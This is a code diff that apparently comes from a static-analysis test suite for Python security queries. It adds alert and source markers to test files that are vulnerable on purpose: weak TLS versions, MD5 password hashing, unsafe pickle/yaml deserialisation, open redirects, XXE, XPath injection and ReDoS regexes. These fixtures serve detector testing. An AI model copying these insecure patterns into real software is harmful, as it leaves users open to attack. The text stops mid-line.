a/python/ql/test/query-tests/Security/CWE-327-InsecureDefaultProtocol/InsecureProtocol.py b/python/ql/test/query-tests/Security/CWE-327-InsecureDefaultProtocol/InsecureProtocol.py index 1ea2a51a44e7..a99bfe3005a5 100644 --- a/python/ql/test/query-tests/Security/CWE-327-InsecureDefaultProtocol/InsecureProtocol.py +++ b/python/ql/test/query-tests/Security/CWE-327-InsecureDefaultProtocol/InsecureProtocol.py @@ -4,4 +4,4 @@ ssl.wrap_socket(ssl_version=ssl.PROTOCOL_TLSv1_2) # possibly insecure default -ssl.wrap_socket() +ssl.wrap_socket() # $ Alert diff --git a/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/InsecureProtocol.py b/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/InsecureProtocol.py index ab80ed47dacd..80af8bbad378 100644 --- a/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/InsecureProtocol.py +++ b/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/InsecureProtocol.py @@ -3,25 +3,25 @@ from ssl import SSLContext # insecure versions specified -ssl.wrap_socket(ssl_version=ssl.PROTOCOL_SSLv2) -ssl.wrap_socket(ssl_version=ssl.PROTOCOL_SSLv3) -ssl.wrap_socket(ssl_version=ssl.PROTOCOL_TLSv1) +ssl.wrap_socket(ssl_version=ssl.PROTOCOL_SSLv2) # $ Alert +ssl.wrap_socket(ssl_version=ssl.PROTOCOL_SSLv3) # $ Alert +ssl.wrap_socket(ssl_version=ssl.PROTOCOL_TLSv1) # $ Alert -SSLContext(protocol=ssl.PROTOCOL_SSLv2) -SSLContext(protocol=ssl.PROTOCOL_SSLv3) -SSLContext(protocol=ssl.PROTOCOL_TLSv1) +SSLContext(protocol=ssl.PROTOCOL_SSLv2) # $ Alert +SSLContext(protocol=ssl.PROTOCOL_SSLv3) # $ Alert +SSLContext(protocol=ssl.PROTOCOL_TLSv1) # $ Alert -SSL.Context(SSL.SSLv2_METHOD) -SSL.Context(SSL.SSLv3_METHOD) -SSL.Context(SSL.TLSv1_METHOD) +SSL.Context(SSL.SSLv2_METHOD) # $ Alert +SSL.Context(SSL.SSLv3_METHOD) # $ Alert +SSL.Context(SSL.TLSv1_METHOD) # $ Alert METHOD = SSL.SSLv2_METHOD -SSL.Context(METHOD) +SSL.Context(METHOD) # $ Alert # importing the protocol constant directly from ssl import PROTOCOL_SSLv2 -ssl.wrap_socket(ssl_version=PROTOCOL_SSLv2) -SSLContext(protocol=PROTOCOL_SSLv2) +ssl.wrap_socket(ssl_version=PROTOCOL_SSLv2) # $ Alert +SSLContext(protocol=PROTOCOL_SSLv2) # $ Alert # secure versions specified ssl.wrap_socket(ssl_version=ssl.PROTOCOL_TLSv1_2) diff --git a/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/InsecureProtocol.qlref b/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/InsecureProtocol.qlref index c06a937ff57d..75ce269cc68b 100644 --- a/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/InsecureProtocol.qlref +++ b/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/InsecureProtocol.qlref @@ -1 +1,2 @@ -Security/CWE-327/InsecureProtocol.ql +query: Security/CWE-327/InsecureProtocol.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/import_all_one_file.py b/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/import_all_one_file.py index aab459ceeead..5a2f4614afaf 100644 --- a/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/import_all_one_file.py +++ b/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/import_all_one_file.py @@ -22,9 +22,9 @@ print(ssock.version()) with socket.create_connection((hostname, 443)) as sock: - with copy_completely_insecure_context.wrap_socket(sock, server_hostname=hostname) as ssock: + with copy_completely_insecure_context.wrap_socket(sock, server_hostname=hostname) as ssock: # $ Alert print(ssock.version()) with socket.create_connection((hostname, 443)) as sock: - with copy_also_insecure_context.wrap_socket(sock, server_hostname=hostname) as ssock: + with copy_also_insecure_context.wrap_socket(sock, server_hostname=hostname) as ssock: # $ Alert print(ssock.version()) diff --git a/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/import_use.py b/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/import_use.py index 3c12fd813558..390acf747ab1 100644 --- a/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/import_use.py +++ b/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/import_use.py @@ -10,9 +10,9 @@ print(ssock.version()) with socket.create_connection((hostname, 443)) as sock: - with completely_insecure_context.wrap_socket(sock, server_hostname=hostname) as ssock: + with completely_insecure_context.wrap_socket(sock, server_hostname=hostname) as ssock: # $ Alert print(ssock.version()) with socket.create_connection((hostname, 443)) as sock: - with also_insecure_context.wrap_socket(sock, server_hostname=hostname) as ssock: + with also_insecure_context.wrap_socket(sock, server_hostname=hostname) as ssock: # $ Alert print(ssock.version()) diff --git a/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/pyOpenSSL_fluent.py b/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/pyOpenSSL_fluent.py index fa7714118828..729e968e5c10 100644 --- a/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/pyOpenSSL_fluent.py +++ b/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/pyOpenSSL_fluent.py @@ -5,7 +5,7 @@ def test_fluent(): hostname = 'www.python.org' context = SSL.Context(SSL.SSLv23_METHOD) - conn = SSL.Connection(context, socket.socket(socket.AF_INET, socket.SOCK_STREAM)) + conn = SSL.Connection(context, socket.socket(socket.AF_INET, socket.SOCK_STREAM)) # $ Alert r = conn.connect((hostname, 443)) print(conn.get_protocol_version_name()) @@ -15,7 +15,7 @@ def test_fluent_no_TLSv1(): context = SSL.Context(SSL.SSLv23_METHOD) context.set_options(SSL.OP_NO_TLSv1) - conn = SSL.Connection(context, socket.socket(socket.AF_INET, socket.SOCK_STREAM)) + conn = SSL.Connection(context, socket.socket(socket.AF_INET, socket.SOCK_STREAM)) # $ Alert r = conn.connect((hostname, 443)) print(conn.get_protocol_version_name()) diff --git a/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/ssl_fluent.py b/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/ssl_fluent.py index a8e491a42f1e..e4d71de56955 100644 --- a/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/ssl_fluent.py +++ b/python/ql/test/query-tests/Security/CWE-327-InsecureProtocol/ssl_fluent.py @@ -6,7 +6,7 @@ def test_fluent_tls(): context = ssl.SSLContext(ssl.PROTOCOL_TLS) with socket.create_connection((hostname, 443)) as sock: - with context.wrap_socket(sock, server_hostname=hostname) as ssock: + with context.wrap_socket(sock, server_hostname=hostname) as ssock: # $ Alert print(ssock.version()) @@ -16,7 +16,7 @@ def test_fluent_tls_no_TLSv1(): context.options |= ssl.OP_NO_TLSv1 with socket.create_connection((hostname, 443)) as sock: - with context.wrap_socket(sock, server_hostname=hostname) as ssock: + with context.wrap_socket(sock, server_hostname=hostname) as ssock: # $ Alert print(ssock.version()) def test_fluent_tls_client_no_TLSv1(): @@ -25,7 +25,7 @@ def test_fluent_tls_client_no_TLSv1(): context.options |= ssl.OP_NO_TLSv1 with socket.create_connection((hostname, 443)) as sock: - with context.wrap_socket(sock, server_hostname=hostname) as ssock: + with context.wrap_socket(sock, server_hostname=hostname) as ssock: # $ Alert print(ssock.version()) def test_fluent_tls_server_no_TLSv1(): @@ -34,7 +34,7 @@ def test_fluent_tls_server_no_TLSv1(): context.options |= ssl.OP_NO_TLSv1 with socket.create_server((hostname, 443)) as sock: - with context.wrap_socket(sock, server_hostname=hostname) as ssock: + with context.wrap_socket(sock, server_hostname=hostname) as ssock: # $ Alert print(ssock.version()) def test_fluent_tls_safe(): @@ -54,7 +54,7 @@ def test_fluent_ssl(): context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) with socket.create_connection((hostname, 443)) as sock: - with context.wrap_socket(sock, server_hostname=hostname) as ssock: + with context.wrap_socket(sock, server_hostname=hostname) as ssock: # $ Alert print(ssock.version()) @@ -68,13 +68,13 @@ def create_secure_context(): def create_connection(context): with socket.create_connection(('www.python.org', 443)) as sock: - with context.wrap_socket(sock, server_hostname=hostname) as ssock: + with context.wrap_socket(sock, server_hostname=hostname) as ssock: # $ Alert print(ssock.version()) def test_delegated_context_unsafe(): context = create_relaxed_context() with socket.create_connection(('www.python.org', 443)) as sock: - with context.wrap_socket(sock, server_hostname=hostname) as ssock: + with context.wrap_socket(sock, server_hostname=hostname) as ssock: # $ Alert print(ssock.version()) def test_delegated_context_safe(): @@ -94,7 +94,7 @@ def test_delegated_context_made_unsafe(): context = create_secure_context() context.options &= ~ssl.OP_NO_TLSv1_1 with socket.create_connection(('www.python.org', 443)) as sock: - with context.wrap_socket(sock, server_hostname=hostname) as ssock: + with context.wrap_socket(sock, server_hostname=hostname) as ssock: # $ Alert print(ssock.version()) def test_delegated_connection_unsafe(): @@ -143,7 +143,7 @@ def test_fluent_ssl_unsafe_version(): context.minimum_version = ssl.TLSVersion.TLSv1_1 with socket.create_connection((hostname, 443)) as sock: - with context.wrap_socket(sock, server_hostname=hostname) as ssock: + with context.wrap_socket(sock, server_hostname=hostname) as ssock: # $ Alert print(ssock.version()) def test_fluent_ssl_safe_version(): @@ -162,5 +162,5 @@ def test_fluent_explicitly_unsafe(): context.options &= ~ssl.OP_NO_SSLv3 with socket.create_connection((hostname, 443)) as sock: - with context.wrap_socket(sock, server_hostname=hostname) as ssock: + with context.wrap_socket(sock, server_hostname=hostname) as ssock: # $ Alert print(ssock.version()) diff --git a/python/ql/test/query-tests/Security/CWE-327-WeakSensitiveDataHashing/WeakSensitiveDataHashing.qlref b/python/ql/test/query-tests/Security/CWE-327-WeakSensitiveDataHashing/WeakSensitiveDataHashing.qlref index 6c8eeda7222b..495cb9c979c3 100644 --- a/python/ql/test/query-tests/Security/CWE-327-WeakSensitiveDataHashing/WeakSensitiveDataHashing.qlref +++ b/python/ql/test/query-tests/Security/CWE-327-WeakSensitiveDataHashing/WeakSensitiveDataHashing.qlref @@ -1 +1,2 @@ -Security/CWE-327/WeakSensitiveDataHashing.ql +query: Security/CWE-327/WeakSensitiveDataHashing.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-327-WeakSensitiveDataHashing/test_cryptodome.py b/python/ql/test/query-tests/Security/CWE-327-WeakSensitiveDataHashing/test_cryptodome.py index 3e196196ef9b..c8a6031b07d9 100644 --- a/python/ql/test/query-tests/Security/CWE-327-WeakSensitiveDataHashing/test_cryptodome.py +++ b/python/ql/test/query-tests/Security/CWE-327-WeakSensitiveDataHashing/test_cryptodome.py @@ -1,25 +1,25 @@ from Cryptodome.Hash import MD5, SHA256 -from my_module import get_password, get_certificate +from my_module import get_password, get_certificate # $ Source def get_badly_hashed_certificate(): - dangerous = get_certificate() + dangerous = get_certificate() # $ Source hasher = MD5.new() - hasher.update(dangerous) # NOT OK + hasher.update(dangerous) # NOT OK # $ Alert return hasher.hexdigest() def get_badly_hashed_password(): - dangerous = get_password() + dangerous = get_password() # $ Source hasher = MD5.new() - hasher.update(dangerous) # NOT OK + hasher.update(dangerous) # NOT OK # $ Alert return hasher.hexdigest() def get_badly_hashed_password2(): - dangerous = get_password() + dangerous = get_password() # $ Source # Although SHA-256 is a strong cryptographic hash functions, # it is not suitable for password hashing. hasher = SHA256.new() - hasher.update(dangerous) # NOT OK + hasher.update(dangerous) # NOT OK # $ Alert return hasher.hexdigest() diff --git a/python/ql/test/query-tests/Security/CWE-327-WeakSensitiveDataHashing/test_cryptography.py b/python/ql/test/query-tests/Security/CWE-327-WeakSensitiveDataHashing/test_cryptography.py index 1090fda959c8..f65587fe9869 100644 --- a/python/ql/test/query-tests/Security/CWE-327-WeakSensitiveDataHashing/test_cryptography.py +++ b/python/ql/test/query-tests/Security/CWE-327-WeakSensitiveDataHashing/test_cryptography.py @@ -1,29 +1,29 @@ from cryptography.hazmat.primitives import hashes from binascii import hexlify -from my_module import get_password, get_certificate +from my_module import get_password, get_certificate # $ Source def get_badly_hashed_certificate(): - dangerous = get_certificate() + dangerous = get_certificate() # $ Source hasher = hashes.Hash(hashes.MD5()) - hasher.update(dangerous) # NOT OK + hasher.update(dangerous) # NOT OK # $ Alert digest = hasher.finalize() return hexlify(digest).decode("utf-8") def get_badly_hashed_password(): - dangerous = get_password() + dangerous = get_password() # $ Source hasher = hashes.Hash(hashes.MD5()) - hasher.update(dangerous) # NOT OK + hasher.update(dangerous) # NOT OK # $ Alert digest = hasher.finalize() return hexlify(digest).decode("utf-8") def get_badly_hashed_password2(): - dangerous = get_password() + dangerous = get_password() # $ Source # Although SHA-256 is a strong cryptographic hash functions, # it is not suitable for password hashing. hasher = hashes.Hash(hashes.SHA256()) - hasher.update(dangerous) # NOT OK + hasher.update(dangerous) # NOT OK # $ Alert digest = hasher.finalize() return hexlify(digest).decode("utf-8") diff --git a/python/ql/test/query-tests/Security/CWE-377-InsecureTemporaryFile/InsecureTemporaryFile.py b/python/ql/test/query-tests/Security/CWE-377-InsecureTemporaryFile/InsecureTemporaryFile.py index 3c68affed8c4..5b7e820706e5 100644 --- a/python/ql/test/query-tests/Security/CWE-377-InsecureTemporaryFile/InsecureTemporaryFile.py +++ b/python/ql/test/query-tests/Security/CWE-377-InsecureTemporaryFile/InsecureTemporaryFile.py @@ -2,19 +2,19 @@ import os def write_results1(results): - filename = mktemp() + filename = mktemp() # $ Alert with open(filename, "w+") as f: f.write(results) print("Results written to", filename) def write_results2(results): - filename = os.tempnam() + filename = os.tempnam() # $ Alert with open(filename, "w+") as f: f.write(results) print("Results written to", filename) def write_results3(results): - filename = os.tmpnam() + filename = os.tmpnam() # $ Alert with open(filename, "w+") as f: f.write(results) print("Results written to", filename) diff --git a/python/ql/test/query-tests/Security/CWE-377-InsecureTemporaryFile/InsecureTemporaryFile.qlref b/python/ql/test/query-tests/Security/CWE-377-InsecureTemporaryFile/InsecureTemporaryFile.qlref index 68a27dfb2690..c64f78a01039 100644 --- a/python/ql/test/query-tests/Security/CWE-377-InsecureTemporaryFile/InsecureTemporaryFile.qlref +++ b/python/ql/test/query-tests/Security/CWE-377-InsecureTemporaryFile/InsecureTemporaryFile.qlref @@ -1 +1,2 @@ -Security/CWE-377/InsecureTemporaryFile.ql +query: Security/CWE-377/InsecureTemporaryFile.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-502-UnsafeDeserialization/UnsafeDeserialization.qlref b/python/ql/test/query-tests/Security/CWE-502-UnsafeDeserialization/UnsafeDeserialization.qlref index fa9c0ceb3cb8..2eba44efb96b 100644 --- a/python/ql/test/query-tests/Security/CWE-502-UnsafeDeserialization/UnsafeDeserialization.qlref +++ b/python/ql/test/query-tests/Security/CWE-502-UnsafeDeserialization/UnsafeDeserialization.qlref @@ -1 +1,2 @@ -Security/CWE-502/UnsafeDeserialization.ql +query: Security/CWE-502/UnsafeDeserialization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-502-UnsafeDeserialization/unsafe_deserialization.py b/python/ql/test/query-tests/Security/CWE-502-UnsafeDeserialization/unsafe_deserialization.py index d9189a92f41c..bd73ec018b19 100644 --- a/python/ql/test/query-tests/Security/CWE-502-UnsafeDeserialization/unsafe_deserialization.py +++ b/python/ql/test/query-tests/Security/CWE-502-UnsafeDeserialization/unsafe_deserialization.py @@ -5,20 +5,20 @@ from yaml import SafeLoader -from flask import Flask, request +from flask import Flask, request # $ Source app = Flask(__name__) @app.route("/") def hello(): payload = request.args.get("payload") - pickle.loads(payload) # NOT OK - yaml.load(payload) # NOT OK + pickle.loads(payload) # NOT OK # $ Alert + yaml.load(payload) # NOT OK # $ Alert yaml.load(payload, Loader=SafeLoader) # OK - marshal.loads(payload) # NOT OK + marshal.loads(payload) # NOT OK # $ Alert import dill - dill.loads(payload) # NOT OK + dill.loads(payload) # NOT OK # $ Alert import pandas - pandas.read_pickle(payload) # NOT OK \ No newline at end of file + pandas.read_pickle(payload) # NOT OK # $ Alert \ No newline at end of file diff --git a/python/ql/test/query-tests/Security/CWE-601-UrlRedirect/UrlRedirect.qlref b/python/ql/test/query-tests/Security/CWE-601-UrlRedirect/UrlRedirect.qlref index 8b63d80f0db2..863d71f68b18 100644 --- a/python/ql/test/query-tests/Security/CWE-601-UrlRedirect/UrlRedirect.qlref +++ b/python/ql/test/query-tests/Security/CWE-601-UrlRedirect/UrlRedirect.qlref @@ -1,2 +1,2 @@ -Security/CWE-601/UrlRedirect.ql - +query: Security/CWE-601/UrlRedirect.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-601-UrlRedirect/test.py b/python/ql/test/query-tests/Security/CWE-601-UrlRedirect/test.py index 538e4d3910ba..c474380c5907 100644 --- a/python/ql/test/query-tests/Security/CWE-601-UrlRedirect/test.py +++ b/python/ql/test/query-tests/Security/CWE-601-UrlRedirect/test.py @@ -1,11 +1,11 @@ -from flask import Flask, request, redirect +from flask import Flask, request, redirect # $ Source app = Flask(__name__) @app.route('/') def hello(): target = request.args.get('target', '') - return redirect(target, code=302) + return redirect(target, code=302) # $ Alert # Check for safe prefixes @@ -29,21 +29,21 @@ def ok2(): def ok3(): untrusted = request.args.get('target', '') safe = "https://safe.com/{}".format(untrusted) - return redirect(safe, code=302) # FP + return redirect(safe, code=302) # FP # $ Alert @app.route('/ok4') def ok4(): untrusted = request.args.get('target', '') safe = f"https://safe.com/{untrusted}" - return redirect(safe, code=302) # FP + return redirect(safe, code=302) # FP # $ Alert @app.route('/ok5') def ok5(): untrusted = request.args.get('target', '') safe = "https://safe.com/%s" % untrusted - return redirect(safe, code=302) # FP + return redirect(safe, code=302) # FP # $ Alert @app.route('/const-str-compare') @@ -59,28 +59,28 @@ def const_str_compare(): def not_ok1(): untrusted = request.args.get('target', '') unsafe = untrusted + "?login=success" - return redirect(unsafe, code=302) + return redirect(unsafe, code=302) # $ Alert @app.route('/not_ok2') def not_ok2(): untrusted = request.args.get('target', '') unsafe = "{}?login=success".format(untrusted) - return redirect(unsafe, code=302) + return redirect(unsafe, code=302) # $ Alert @app.route('/not_ok3') def not_ok3(): untrusted = request.args.get('target', '') unsafe = f"{untrusted}?login=success" - return redirect(unsafe, code=302) + return redirect(unsafe, code=302) # $ Alert @app.route('/not_ok4') def not_ok4(): untrusted = request.args.get('target', '') unsafe = "%s?login=success" % untrusted - return redirect(unsafe, code=302) + return redirect(unsafe, code=302) # $ Alert from django.utils.http import url_has_allowed_host_and_scheme import math @@ -90,7 +90,7 @@ def ok6(): untrusted = request.args.get('target', '') # random chance. if math.random() > 0.5: - redirect(untrusted, code=302) # NOT OK + redirect(untrusted, code=302) # NOT OK # $ Alert if url_has_allowed_host_and_scheme(untrusted, allowed_hosts=None): return redirect(untrusted, code=302) # OK @@ -111,7 +111,7 @@ def not_ok5(): untrusted = request.args.get('target', '') # no backslash replace if not yarl.URL(untrusted).is_absolute(): - return redirect(untrusted, code=302) # NOT OK + return redirect(untrusted, code=302) # NOT OK # $ Alert return redirect("/", code=302) from urllib.parse import urlparse @@ -137,7 +137,7 @@ def not_ok6(): untrusted = request.args.get('target', '') # no backslash replace if not urlparse(untrusted).netloc: - return redirect(untrusted, code=302) # NOT OK + return redirect(untrusted, code=302) # NOT OK # $ Alert return redirect("/", code=302) @app.route('/not_ok7') @@ -145,7 +145,7 @@ def not_ok7(): untrusted = request.args.get('target', '') # wrong check if urlparse(untrusted).netloc != "": - return redirect(untrusted, code=302) # NOT OK + return redirect(untrusted, code=302) # NOT OK # $ Alert return redirect("/", code=302) @app.route('/ok10') diff --git a/python/ql/test/query-tests/Security/CWE-611-Xxe/Xxe.qlref b/python/ql/test/query-tests/Security/CWE-611-Xxe/Xxe.qlref index 62a3f7f22d97..9473e8620152 100644 --- a/python/ql/test/query-tests/Security/CWE-611-Xxe/Xxe.qlref +++ b/python/ql/test/query-tests/Security/CWE-611-Xxe/Xxe.qlref @@ -1 +1,2 @@ -Security/CWE-611/Xxe.ql +query: Security/CWE-611/Xxe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-611-Xxe/test.py b/python/ql/test/query-tests/Security/CWE-611-Xxe/test.py index 104f2663d59e..e84a05a76632 100644 --- a/python/ql/test/query-tests/Security/CWE-611-Xxe/test.py +++ b/python/ql/test/query-tests/Security/CWE-611-Xxe/test.py @@ -1,4 +1,4 @@ -from flask import Flask, request +from flask import Flask, request # $ Source import lxml.etree import markupsafe @@ -7,7 +7,7 @@ @app.route("/vuln-handler") def vuln_handler(): xml_content = request.args['xml_content'] - return lxml.etree.fromstring(xml_content).text + return lxml.etree.fromstring(xml_content).text # $ Alert @app.route("/safe-handler") def safe_handler(): @@ -28,7 +28,7 @@ def super_vuln_handler(): # allows DoS attacks huge_tree=True, ) - return lxml.etree.fromstring(xml_content, parser=parser).text + return lxml.etree.fromstring(xml_content, parser=parser).text # $ Alert @app.route("/sanitized-handler") def sanitized_handler(): diff --git a/python/ql/test/query-tests/Security/CWE-643-XPathInjection/XpathInjection.qlref b/python/ql/test/query-tests/Security/CWE-643-XPathInjection/XpathInjection.qlref index a61523e1767a..20ce4fdfd933 100644 --- a/python/ql/test/query-tests/Security/CWE-643-XPathInjection/XpathInjection.qlref +++ b/python/ql/test/query-tests/Security/CWE-643-XPathInjection/XpathInjection.qlref @@ -1 +1,2 @@ -Security/CWE-643/XpathInjection.ql +query: Security/CWE-643/XpathInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-643-XPathInjection/xpathBad.py b/python/ql/test/query-tests/Security/CWE-643-XPathInjection/xpathBad.py index ee836dd385eb..26a2f8d0d9a1 100644 --- a/python/ql/test/query-tests/Security/CWE-643-XPathInjection/xpathBad.py +++ b/python/ql/test/query-tests/Security/CWE-643-XPathInjection/xpathBad.py @@ -6,11 +6,11 @@ from django.template import Template, Context, Engine, engines -def a(request): +def a(request): # $ Source value = request.GET['xpath'] f = StringIO('') tree = etree.parse(f) - r = tree.xpath("/tag[@id='%s']" % value) + r = tree.xpath("/tag[@id='%s']" % value) # $ Alert urlpatterns = [ diff --git a/python/ql/test/query-tests/Security/CWE-643-XPathInjection/xpathFlow.py b/python/ql/test/query-tests/Security/CWE-643-XPathInjection/xpathFlow.py index c2fe2ce1edb3..0a4f97ce30e7 100644 --- a/python/ql/test/query-tests/Security/CWE-643-XPathInjection/xpathFlow.py +++ b/python/ql/test/query-tests/Security/CWE-643-XPathInjection/xpathFlow.py @@ -1,5 +1,5 @@ from io import StringIO -from flask import Flask, request +from flask import Flask, request # $ Source app = Flask(__name__) @@ -11,7 +11,7 @@ def xpath1(): xpathQuery = request.args.get('xml', '') f = StringIO('') tree = etree.parse(f) - r = tree.xpath(xpathQuery) + r = tree.xpath(xpathQuery) # $ Alert @app.route("/xpath2") @@ -20,7 +20,7 @@ def xpath2(): xpathQuery = request.args.get('xml', '') root = etree.XML("TEXT") - find_text = etree.XPath(xpathQuery) + find_text = etree.XPath(xpathQuery) # $ Alert text = find_text(root)[0] @@ -29,7 +29,7 @@ def xpath3(): from lxml import etree xpathQuery = request.args.get('xml', '') root = etree.XML("TEXT") - find_text = etree.XPath(xpathQuery, smart_strings=False) + find_text = etree.XPath(xpathQuery, smart_strings=False) # $ Alert text = find_text(root)[0] @@ -38,7 +38,7 @@ def xpath4(): from lxml import etree xpathQuery = request.args.get('xml', '') root = etree.XML("TEXT") - find_text = etree.ETXPath(xpathQuery) + find_text = etree.ETXPath(xpathQuery) # $ Alert text = find_text(root)[0] @app.route("/xpath5") @@ -46,4 +46,4 @@ def xpath5(): import libxml2 xpathQuery = request.args.get('xml', '') doc = libxml2.parseFile('xpath_injection/credential.xml') - results = doc.xpathEval(xpathQuery) + results = doc.xpathEval(xpathQuery) # $ Alert diff --git a/python/ql/test/query-tests/Security/CWE-730-PolynomialReDoS/PolynomialReDoS.qlref b/python/ql/test/query-tests/Security/CWE-730-PolynomialReDoS/PolynomialReDoS.qlref index 8c457eb7467e..1847f552d933 100644 --- a/python/ql/test/query-tests/Security/CWE-730-PolynomialReDoS/PolynomialReDoS.qlref +++ b/python/ql/test/query-tests/Security/CWE-730-PolynomialReDoS/PolynomialReDoS.qlref @@ -1 +1,2 @@ -Security/CWE-730/PolynomialReDoS.ql +query: Security/CWE-730/PolynomialReDoS.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-730-PolynomialReDoS/test.py b/python/ql/test/query-tests/Security/CWE-730-PolynomialReDoS/test.py index 622fa6803b90..bb0a53e4d14e 100644 --- a/python/ql/test/query-tests/Security/CWE-730-PolynomialReDoS/test.py +++ b/python/ql/test/query-tests/Security/CWE-730-PolynomialReDoS/test.py @@ -1,22 +1,22 @@ import re -from flask import Flask, request +from flask import Flask, request # $ Source app = Flask(__name__) @app.route("/poly-redos") def code_execution(): text = request.args.get("text") - re.sub(r"^\s+|\s+$", "", text) # NOT OK - re.match(r"^0\.\d+E?\d+$", text) # NOT OK + re.sub(r"^\s+|\s+$", "", text) # NOT OK # $ Alert + re.match(r"^0\.\d+E?\d+$", text) # NOT OK # $ Alert reg = re.compile(r"^\s+|\s+$") - reg.sub("", text) # NOT OK + reg.sub("", text) # NOT OK # $ Alert def indirect(input_reg_str, my_text): my_reg = re.compile(input_reg_str) - my_reg.sub("", my_text) # NOT OK + my_reg.sub("", my_text) # NOT OK # $ Alert indirect(r"^\s+|\s+$", text) reg2 = re.compile(r"(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)C.*Y") - reg2.sub("", text) # NOT OK + reg2.sub("", text) # NOT OK # $ Alert diff --git a/python/ql/test/query-tests/Security/CWE-730-ReDoS/KnownCVEs.py b/python/ql/test/query-tests/Security/CWE-730-ReDoS/KnownCVEs.py index 14a8ff528090..6e63bf28f3c1 100644 --- a/python/ql/test/query-tests/Security/CWE-730-ReDoS/KnownCVEs.py +++ b/python/ql/test/query-tests/Security/CWE-730-ReDoS/KnownCVEs.py @@ -12,7 +12,7 @@ toFlag = re.compile(newline) # https://github.com/github/codeql-python-CVE-coverage/issues/400 -re.compile(r'[+-]?(\d+)*\.\d+%?') +re.compile(r'[+-]?(\d+)*\.\d+%?') # $ Alert re.compile(r'"""\s+(?:.|\n)*?\s+"""') re.compile(r'(\{\s+)(\S+)(\s+[^}]+\s+\}\s)') re.compile(r'".*``.*``.*"') @@ -27,12 +27,12 @@ simple_email_re = re.compile(r"^\S+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+$") # https://github.com/github/codeql-python-CVE-coverage/issues/249 -rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+' +rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+' # $ Alert 'realm=(["\']?)([^"\']*)\\2', re.I) # https://github.com/github/codeql-python-CVE-coverage/issues/248 gauntlet = re.compile( - r"""^([-/:,#%.'"\s!\w]|\w-\w|'[\s\w]+'\s*|"[\s\w]+"|\([\d,%\.\s]+\))*$""", + r"""^([-/:,#%.'"\s!\w]|\w-\w|'[\s\w]+'\s*|"[\s\w]+"|\([\d,%\.\s]+\))*$""", # $ Alert flags=re.U ) diff --git a/python/ql/test/query-tests/Security/CWE-730-ReDoS/ReDoS.qlref b/python/ql/test/query-tests/Security/CWE-730-ReDoS/ReDoS.qlref index 4c19d395edbe..2cc0b9cb67cb 100644 --- a/python/ql/test/query-tests/Security/CWE-730-ReDoS/ReDoS.qlref +++ b/python/ql/test/query-tests/Security/CWE-730-ReDoS/ReDoS.qlref @@ -1 +1,2 @@ -Security/CWE-730/ReDoS.ql +query: Security/CWE-730/ReDoS.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-730-ReDoS/redos.py b/python/ql/test/query-tests/Security/CWE-730-ReDoS/redos.py index 4aad94021e40..736bb5a936e5 100644 --- a/python/ql/test/query-tests/Security/CWE-730-ReDoS/redos.py +++ b/python/ql/test/query-tests/Security/CWE-730-ReDoS/redos.py @@ -3,7 +3,7 @@ # NOT GOOD; attack: "_" + "__".repeat(100) # Adapted from marked (https://github.com/markedjs/marked), which is licensed # under the MIT license; see file marked-LICENSE. -bad1 = re.compile(r'''^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)''') +bad1 = re.compile(r'''^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)''') # $ Alert # GOOD # Adapted from marked (https://github.com/markedjs/marked), which is licensed @@ -18,7 +18,7 @@ # NOT GOOD; attack: " '" + "\\\\".repeat(100) # Adapted from CodeMirror (https://github.com/codemirror/codemirror), # which is licensed under the MIT license; see file CodeMirror-LICENSE. -bad2 = re.compile(r'''^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?''') +bad2 = 